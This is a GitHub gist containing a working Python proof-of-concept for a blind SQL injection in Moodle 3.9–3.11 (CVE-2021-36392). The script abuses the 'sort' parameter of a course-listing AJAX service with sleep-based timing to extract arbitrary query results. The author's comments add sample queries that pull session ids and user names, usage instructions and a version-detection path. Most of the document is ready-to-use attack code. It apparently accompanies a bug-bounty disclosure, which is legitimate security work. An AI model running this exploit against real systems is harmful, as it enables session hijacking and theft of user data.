Skip to content

Instantly share code, notes, and snippets.

@luukverhoeven
Last active February 7, 2024 20:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save luukverhoeven/32614f85681e47bd66b9f6167beb2773 to your computer and use it in GitHub Desktop.
Save luukverhoeven/32614f85681e47bd66b9f6167beb2773 to your computer and use it in GitHub Desktop.
Moodle blind sql inject PoC 2021 - CVE-2021-36392 (3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions)
#!/usr/bin/env python3
# Version 1.0 - Python 2.7+ Author Luuk Verhoeven
# BugBounty program (https://www.intigriti.com/) - MOODLE-WWXPVFWL
# Example usage
# ╰─❯ python3.9 bsqli.py -host "somehost.nl" -key "0hGdVB3DCa" -ses "oga7d5b5kijiv67oriog0C0h0s" -q "(select lastname from mdl_user where id = 2 limit 1)"
import requests
from urllib3.exceptions import InsecureRequestWarning
import sys
import time
import argparse
print("Moodle BSQLI PoC for Moodle 3.9.x, 3.10.x and 3.11.x")
print("Security Researcher: Luuk Verhoeven")
print(" ")
parser = argparse.ArgumentParser(description='Moodle BSQLI PoC for (Moodle 3.9.x, 3.10.x and 3.11.x)')
parser.add_argument('-host','--hostname', help='The hostname of the Moodle environment | example moodle.com', required=True)
parser.add_argument('-key','--sesskey', help='The sesskey can be found after login M.cfg.sesskey or HTML body | example 0hGdVb3DCa', required=True)
parser.add_argument('-ses','--session', help='The MoodleSession value can be found in The Cookie MoodleSession | example oga7d5b5kijiv67oriog0c0h1s', required=True)
parser.add_argument('-q','--query', help='The query to execute | example "(select lastname from mdl_user where id = 2 limit 1)"', required=True)
args = parser.parse_args()
# Fix for invalid SSL warnings.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Params.
hostname=args.hostname
sesskey=args.sesskey
moodlesession=args.session
query=args.query
# TODO check if query has . or , in it
# Sleep delay
interval=1
maxlength=100
# Start output
outp=""
print("Query: " + query)
url = "https://" + hostname + ":443/lib/ajax/service.php?sesskey=" + sesskey + "&info=core_course_get_enrolled_courses_by_timeline_classification"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/MoodleExploit.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'MoodleSession=' + moodlesession + ';',
"Host": hostname,
"Content-Type": "application/json"
}
while True:
try:
for i in range(1,maxlength):
current_time=time.time()
jsondata=[{"index": 0, "methodname": "core_course_get_enrolled_courses_by_timeline_classification" , "args": {
"offset" : 0,
"limit" : 1,
"classification" : "inprogress",
"sort" : "id AND (select CASE WHEN ((select length(" + query + "))="+str(i)+") THEN (sleep(" + str(interval) + ")) ELSE 2 END)"
}}]
response=requests.post(url, headers=headers, json=jsondata , verify=False).text
# Enable if you want see the response.
print(response)
response_time=time.time()
time_taken=response_time-current_time
print("Time: "+str(time_taken))
if time_taken > interval:
print("Length of DB query is : "+str(i))
length=i+1
break
i=i+1
print("\n")
# Obtaining query output
# Maybe add _ but is also special char in MySql
# https://www.w3schools.com/sql/sql_wildcards.asp
# Can't use dot or comma by Moodle.
print("BruteForcing BSQLI (. or , not allowed)\n")
# TODO length = 100 error!
charset="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$*!:;'}{[]+()/\><`~@-_"
for i in range(1,length):
for char in charset:
current_time=time.time()
jsondata=[{"index": 0, "methodname": "core_course_get_enrolled_courses_by_timeline_classification" , "args": {
"offset" : 0,
"limit" : 1,
"classification" : "inprogress",
"sort" : "id AND (select CASE WHEN (" + query + " LIKE BINARY '" + outp + "=" + char + "%' ESCAPE '=') THEN (sleep(" + str(interval) + ")) ELSE 2 END)"
}}]
response=requests.post(url, headers=headers, json=jsondata, verify=False).text
response_time=time.time()
time_taken=response_time-current_time
# print("Time: ("+char+")"+str(time_taken) + " (select CASE WHEN ("+query+" LIKE BINARY '"+outp+"="+char+"%' ESCAPE '=') THEN (sleep(1)) ELSE 2 END)")
if time_taken > interval:
print("Found '" + char + "'")
outp=outp+"=" + char
print("= '" + outp.replace("=", "") + "'")
break
i=i+1
print("QUERY output : " + outp.replace("=", ""))
sys.exit()
except KeyboardInterrupt:
print("Exit output : " + outp.replace("=", ""))
break
@luukverhoeven
Copy link
Author

luukverhoeven commented Apr 24, 2021

Sample queries

(SELECT sid FROM mdl_sessions ORDER BY id DESC LIMIT 1)
(select lastname from mdl_user where id = 2 limit 1)
(select database())

All queries will work if they don't have a , or . in it

Usage

python3.9 bsqli_moodle.py -host "example.nl" -key "0hGdVf3DCa" -ses "oga7d5b5kijiv67oriogfc0h0s" -q "(select database())"

Important note: The given user needs to have courses in their course overview.

@luukverhoeven
Copy link
Author

Fix issue python requests (ModuleNotFoundError: No module named 'requests')

pip3 install requests

@luukverhoeven
Copy link
Author

May-10-2021 14-42-45 (1)

@luukverhoeven
Copy link
Author

Simple way to detect Moodle version:
/mod/forum/upgrade.txt

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment